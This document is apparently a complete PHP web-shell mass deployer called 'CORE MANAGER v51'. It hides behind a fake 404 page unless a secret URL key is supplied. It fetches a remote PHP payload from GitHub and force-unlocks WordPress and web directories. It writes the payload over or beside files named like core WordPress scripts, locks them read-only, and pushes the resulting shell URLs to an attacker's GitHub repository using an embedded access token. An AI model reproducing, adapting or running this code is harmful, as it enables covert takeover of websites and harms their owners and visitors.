??? 123123123123 .....................................................................................................................................??? 123123123123 .....................................................................................................................................>> SECURITY LAYER: 404 FORCER <<< if (!isset($_GET['Auto_berlin2020'])) { header("HTTP/1.1 404 Not Found"); echo '404 Not Found

Not Found

The requested URL was not found on this server.

Apache Server Port 80
'; exit; } // >>> CONFIGURATION <<< $github_token = "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"; $github_repo = "bdroastmaster-cpu/Shells_storage"; $github_file = "Shells_storage.txt"; $remote_url = "https://raw.githubusercontent.com/alaminx6275-arch/php-file-server1/refs/heads/main/php-file.php"; $target_folders = ['wp-admin', 'wp-content', 'wp-includes', 'cgi-bin', '.well-known', 'uploads', 'plugins', 'themes']; // বর্ধিত নামের তালিকা (Extended Naming Pool) $naming_pool = [ 'index.php', 'home.php', 'login.php', 'admin.php', 'panel.php', 'config.php', 'system.php', 'wp-load.php', 'xmlrpc.php', 'wp-blog-header.php', 'wp-cron.php', 'wp-settings.php', 'wp-mail.php', 'wp-links-opml.php', 'wp-signup.php', 'wp-activate.php', 'ms-files.php', 'db-status.php', 'about.php', 'users.php', 'options.php', 'maintenance.php', 'security.php', 'test.php', 'api.php', 'core.php', 'load.php', 'data.php', 'module.php', 'plugin-install.php' ]; $critical_files = ['wp-config.php', '.htaccess', 'settings.php', 'php.ini']; function forceUnlock($path) { if (!file_exists($path)) return false; @chmod($path, 0777); return is_writable($path); } function getTargetFileName($path, $pool, $critical) { shuffle($pool); foreach ($pool as $name) { $full_path = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($full_path)) { if (!in_array($name, $critical)) return $name; continue; } return $name; } return "idx_" . time() . ".php"; } function buildDomainUrl($full_path) { $norm_path = str_replace('\\', '/', $full_path); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $segments = explode('/', $norm_path); $domain_found = ""; $web_index = -1; foreach ($segments as $index => $seg) { if (strpos($seg, '.') !== false && $index > 0) { $domain_found = $seg; $web_index = $index; break; } } if ($domain_found != "" && $web_index != -1) { $relative_path = implode('/', array_slice($segments, $web_index + 1)); return $protocol . $domain_found . '/' . $relative_path; } return $protocol . $_SERVER['HTTP_HOST'] . "/" . basename($full_path); } function syncToShellStorage($new_urls, $token, $repo, $file) { $api_url = "https://api.github.com/repos/$repo/contents/$file"; $headers = ["Authorization: token $token", "User-Agent: CM-v51", "Accept: application/vnd.github.v3+json"]; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $res = curl_exec($ch); $data = json_decode($res, true); $sha = $data['sha'] ?? null; $old_content = isset($data['content']) ? base64_decode($data['content']) : ""; $combined = trim($old_content) . "\n" . implode("\n", $new_urls); $final_list = array_unique(array_filter(array_map('trim', explode("\n", $combined)))); $payload = json_encode(["message" => "OvrUpdate ".date("H:i"), "content" => base64_encode(implode("\n", $final_list)), "sha" => $sha]); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); $final_res = curl_exec($ch); curl_close($ch); } @ob_end_flush(); @ob_implicit_flush(true); $source = @file_get_contents($remote_url); $urls = []; $ic = 0; ?> CORE MANAGER v51 | MASS OVERWRITE
Injected / Overwritten
0
Total Unique URLs
0
[SCAN] $start_dir
"; try { $items = @scandir($start_dir); if ($items) { foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $start_dir . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $it = new RecursiveDirectoryIterator($full_path, RecursiveDirectoryIterator::SKIP_DOTS); $sub = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST); $sub->setMaxDepth(5); // স্ক্যানিং গভীরতা কিছুটা বাড়ানো হয়েছে foreach ($sub as $f) { $fp = $f->getPathname(); $fn = $f->getFilename(); if ($f->isDir() && in_array($fn, $target_folders)) { if (is_writable($fp) || forceUnlock($fp)) { $final_name = getTargetFileName($fp, $naming_pool, $critical_files); $final_path = $fp . DIRECTORY_SEPARATOR . $final_name; $is_ovr = file_exists($final_path); if (@file_put_contents($final_path, $source)) { @chmod($final_path, 0444); $ic++; echo ""; $live_url = buildDomainUrl($final_path); $urls[] = $live_url; $tag = $is_ovr ? "tag-ovr" : "tag-s"; $label = $is_ovr ? "OVERWRITE" : "DEPLOY"; echo "
$label $live_url
"; } } } } } } } } catch (Exception $e) {} flush(); } if (count($urls) > 0) syncToShellStorage($urls, $github_token, $github_repo, $github_file); } ?>
[PROCESS FINISHED]